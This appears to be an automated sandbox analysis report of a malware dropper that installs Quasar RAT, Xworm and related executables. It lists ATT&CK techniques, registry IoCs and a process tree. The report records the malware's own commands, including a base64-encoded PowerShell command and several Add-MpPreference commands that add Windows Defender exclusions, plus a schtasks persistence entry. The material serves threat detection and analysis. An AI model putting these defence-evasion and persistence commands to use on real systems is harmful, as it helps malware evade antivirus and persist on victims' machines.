quasar | 4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	random.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	random.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	random.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	random.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	random.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	random.exe

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 4 IoCs

resource	yara_rule
behavioral2/files/0x0009000000023cee-2385.dat	family_quasar
behavioral2/memory/5300-2406-0x0000000000200000-0x0000000000284000-memory.dmp	family_quasar
behavioral2/files/0x000200000001e75c-3770.dat	family_quasar
behavioral2/memory/4584-3775-0x00000000006E0000-0x0000000000A04000-memory.dmp	family_quasar

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	document.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3664	powershell.exe
3544	powershell.exe
3908	powershell.exe
2564	powershell.exe
2648	powershell.exe
5296	powershell.exe
1124	powershell.exe
3584	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	document.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	document.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	freedom.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	12.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	MePaxil.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	Opdxdyeul.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	document.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	FreeYoutubeDownloader.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	document.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	document.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk	freedom.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk	freedom.exe

Executes dropped EXE 27 IoCs

pid	Process
2332	Opdxdyeul.exe
2800	Opdxdyeul.exe
3360	freedom.exe
4784	document.exe
3284	frdp.exe
3312	frdp.exe
5716	FreeYoutubeDownloader.exe
5300	Client-built.exe
5552	Free YouTube Downloader.exe
6072	Client.exe
336	Autoupdate.exe
4928	dos.exe
6000	frdp.exe
3888	Windows.exe
5276	j86piuq9.exe
5180	12.exe
1532	frdp.exe
4600	MePaxil.exe
5984	cayV0Deo9jSt417.exe
2784	taskhost.exe
4940	golden.exe
5296	golden.exe
5772	Legend.pif
5800	random.exe
3284	88aext0k.exe
5464	bildnewl.exe
4952	ConsoleApp3.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Wine	random.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Wine	document.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	random.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	random.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yjlwuuys = "C:\\Users\\Admin\\AppData\\Roaming\\Yjlwuuys.exe"	Opdxdyeul.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe"	document.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Free Youtube Downloader = "C:\\Windows\\Free Youtube Downloader\\Free Youtube Downloader\\Free YouTube Downloader.exe"	FreeYoutubeDownloader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows = "C:\\Users\\Admin\\Windows.exe"	freedom.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\???-LDKG91 = "\"C:\\Users\\Admin\\AppData\\Roaming\\System32\\taskhost.exe\""	clip.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\OneDrive = "\"C:\\ProgramData\\OneDrive\\OneDrive.exe\""	bildnewl.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
46	raw.githubusercontent.com
47	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
58	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\SubDir\Client.exe	Client-built.exe
File opened for modification	C:\Windows\system32\SubDir\Client.exe	Client-built.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
3152	tasklist.exe
2260	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4784	document.exe
5800	random.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 2332 set thread context of 2800	2332	Opdxdyeul.exe	99
PID 3284 set thread context of 3312	3284	frdp.exe	112
PID 6000 set thread context of 1532	6000	frdp.exe	297
PID 5984 set thread context of 6132	5984	cayV0Deo9jSt417.exe	318
PID 4940 set thread context of 5296	4940	golden.exe	331

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Uninstall.ini	FreeYoutubeDownloader.exe
File created	C:\Windows\Tasks\Test Task17.job	Opdxdyeul.exe
File opened for modification	C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Free YouTube Downloader.exe	FreeYoutubeDownloader.exe
File opened for modification	C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Box.exe	FreeYoutubeDownloader.exe
File opened for modification	C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Uninstall.exe	FreeYoutubeDownloader.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4148	5180	WerFault.exe	288

System Location Discovery: System Language Discovery 1 TTPs 37 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	clip.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	golden.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Opdxdyeul.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	frdp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Opdxdyeul.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Legend.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	12.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	j86piuq9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MePaxil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	document.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FreeYoutubeDownloader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	frdp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	golden.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ConsoleApp3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cayV0Deo9jSt417.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dos.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dos.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	12.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	12.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1360	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dos.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	dos.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2908	schtasks.exe
816	schtasks.exe
5664	schtasks.exe
5560	schtasks.exe
2720	schtasks.exe
5880	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4784	document.exe
3360	freedom.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3972	powershell.exe
3972	powershell.exe
4784	document.exe
4784	document.exe
3908	powershell.exe
3908	powershell.exe
2564	powershell.exe
2564	powershell.exe
2648	powershell.exe
2648	powershell.exe
5296	powershell.exe
5296	powershell.exe
4784	document.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
3584	powershell.exe
3584	powershell.exe
3584	powershell.exe
3664	powershell.exe
3664	powershell.exe
3544	powershell.exe
3544	powershell.exe
3544	powershell.exe
336	Autoupdate.exe
336	Autoupdate.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
3360	freedom.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe
4928	dos.exe

Suspicious use of AdjustPrivilegeToken 29 IoCs

description	pid	Process
Token: SeDebugPrivilege	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe
Token: SeDebugPrivilege	2332	Opdxdyeul.exe
Token: SeDebugPrivilege	3972	powershell.exe
Token: SeDebugPrivilege	2332	Opdxdyeul.exe
Token: SeDebugPrivilege	3360	freedom.exe
Token: SeDebugPrivilege	4784	document.exe
Token: SeDebugPrivilege	3908	powershell.exe
Token: SeDebugPrivilege	3284	frdp.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	5296	powershell.exe
Token: SeDebugPrivilege	4784	document.exe
Token: SeDebugPrivilege	3284	frdp.exe
Token: SeDebugPrivilege	5300	Client-built.exe
Token: SeDebugPrivilege	6072	Client.exe
Token: SeDebugPrivilege	1124	powershell.exe
Token: SeDebugPrivilege	3584	powershell.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeDebugPrivilege	3544	powershell.exe
Token: SeDebugPrivilege	336	Autoupdate.exe
Token: SeDebugPrivilege	3360	freedom.exe
Token: SeDebugPrivilege	6000	frdp.exe
Token: SeDebugPrivilege	3888	Windows.exe
Token: SeDebugPrivilege	6000	frdp.exe
Token: SeDebugPrivilege	2260	tasklist.exe
Token: SeDebugPrivilege	3152	tasklist.exe
Token: SeDebugPrivilege	5800	random.exe
Token: SeDebugPrivilege	5464	bildnewl.exe
Token: SeDebugPrivilege	4952	ConsoleApp3.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
5552	Free YouTube Downloader.exe
6072	Client.exe
5772	Legend.pif
5772	Legend.pif
5772	Legend.pif

Suspicious use of SendNotifyMessage 5 IoCs

pid	Process
5552	Free YouTube Downloader.exe
6072	Client.exe
5772	Legend.pif
5772	Legend.pif
5772	Legend.pif

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4784	document.exe
6072	Client.exe
3360	freedom.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3008 wrote to memory of 2332	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	88
PID 3008 wrote to memory of 2332	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	88
PID 3008 wrote to memory of 2332	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	88
PID 2332 wrote to memory of 3972	2332	Opdxdyeul.exe	93
PID 2332 wrote to memory of 3972	2332	Opdxdyeul.exe	93
PID 2332 wrote to memory of 3972	2332	Opdxdyeul.exe	93
PID 2332 wrote to memory of 2800	2332	Opdxdyeul.exe	99
PID 2332 wrote to memory of 2800	2332	Opdxdyeul.exe	99
PID 2332 wrote to memory of 2800	2332	Opdxdyeul.exe	99
PID 2332 wrote to memory of 2800	2332	Opdxdyeul.exe	99
PID 2332 wrote to memory of 2800	2332	Opdxdyeul.exe	99
PID 2332 wrote to memory of 2800	2332	Opdxdyeul.exe	99
PID 2332 wrote to memory of 2800	2332	Opdxdyeul.exe	99
PID 2332 wrote to memory of 2800	2332	Opdxdyeul.exe	99
PID 3008 wrote to memory of 3360	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	101
PID 3008 wrote to memory of 3360	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	101
PID 3008 wrote to memory of 4784	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	102
PID 3008 wrote to memory of 4784	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	102
PID 3008 wrote to memory of 4784	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	102
PID 4784 wrote to memory of 3908	4784	document.exe	103
PID 4784 wrote to memory of 3908	4784	document.exe	103
PID 4784 wrote to memory of 3908	4784	document.exe	103
PID 4784 wrote to memory of 2564	4784	document.exe	106
PID 4784 wrote to memory of 2564	4784	document.exe	106
PID 4784 wrote to memory of 2564	4784	document.exe	106
PID 4784 wrote to memory of 2648	4784	document.exe	108
PID 4784 wrote to memory of 2648	4784	document.exe	108
PID 4784 wrote to memory of 2648	4784	document.exe	108
PID 4784 wrote to memory of 5296	4784	document.exe	110
PID 4784 wrote to memory of 5296	4784	document.exe	110
PID 4784 wrote to memory of 5296	4784	document.exe	110
PID 3284 wrote to memory of 3312	3284	frdp.exe	112
PID 3284 wrote to memory of 3312	3284	frdp.exe	112
PID 3284 wrote to memory of 3312	3284	frdp.exe	112
PID 3284 wrote to memory of 3312	3284	frdp.exe	112
PID 3284 wrote to memory of 3312	3284	frdp.exe	112
PID 3284 wrote to memory of 3312	3284	frdp.exe	112
PID 3284 wrote to memory of 3312	3284	frdp.exe	112
PID 3284 wrote to memory of 3312	3284	frdp.exe	112
PID 3008 wrote to memory of 5716	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	113
PID 3008 wrote to memory of 5716	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	113
PID 3008 wrote to memory of 5716	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	113
PID 3008 wrote to memory of 5300	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	114
PID 3008 wrote to memory of 5300	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	114
PID 5716 wrote to memory of 5552	5716	FreeYoutubeDownloader.exe	115
PID 5716 wrote to memory of 5552	5716	FreeYoutubeDownloader.exe	115
PID 5300 wrote to memory of 2720	5300	Client-built.exe	117
PID 5300 wrote to memory of 2720	5300	Client-built.exe	117
PID 5300 wrote to memory of 6072	5300	Client-built.exe	119
PID 5300 wrote to memory of 6072	5300	Client-built.exe	119
PID 6072 wrote to memory of 5880	6072	Client.exe	120
PID 6072 wrote to memory of 5880	6072	Client.exe	120
PID 3360 wrote to memory of 1124	3360	freedom.exe	122
PID 3360 wrote to memory of 1124	3360	freedom.exe	122
PID 3360 wrote to memory of 3584	3360	freedom.exe	124
PID 3360 wrote to memory of 3584	3360	freedom.exe	124
PID 3360 wrote to memory of 3664	3360	freedom.exe	126
PID 3360 wrote to memory of 3664	3360	freedom.exe	126
PID 3360 wrote to memory of 3544	3360	freedom.exe	129
PID 3360 wrote to memory of 3544	3360	freedom.exe	129
PID 3008 wrote to memory of 336	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	128
PID 3008 wrote to memory of 336	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	128
PID 3008 wrote to memory of 4928	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	131
PID 3008 wrote to memory of 4928	3008	4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe
"C:\Users\Admin\AppData\Local\Temp\4586378fb8e91587b6c436af567fa9cc9f44d88ff665ff4115d72d0983340e43.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3008
- C:\Users\Admin\AppData\Local\Temp\Files\Opdxdyeul.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Opdxdyeul.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwARgBpAGwAZQBzAFwATwBwAGQAeABkAHkAZQB1AGwALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwARgBpAGwAZQBzAFwATwBwAGQAeABkAHkAZQB1AGwALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAFkAagBsAHcAdQB1AHkAcwAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA=
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3972
- - C:\Users\Admin\AppData\Local\Temp\Files\Opdxdyeul.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Opdxdyeul.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2800
- C:\Users\Admin\AppData\Local\Temp\Files\freedom.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\freedom.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\freedom.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'freedom.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Windows.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Windows.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3544
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows" /tr "C:\Users\Admin\Windows.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2908
- C:\Users\Admin\AppData\Local\Temp\Files\document.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\document.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4784
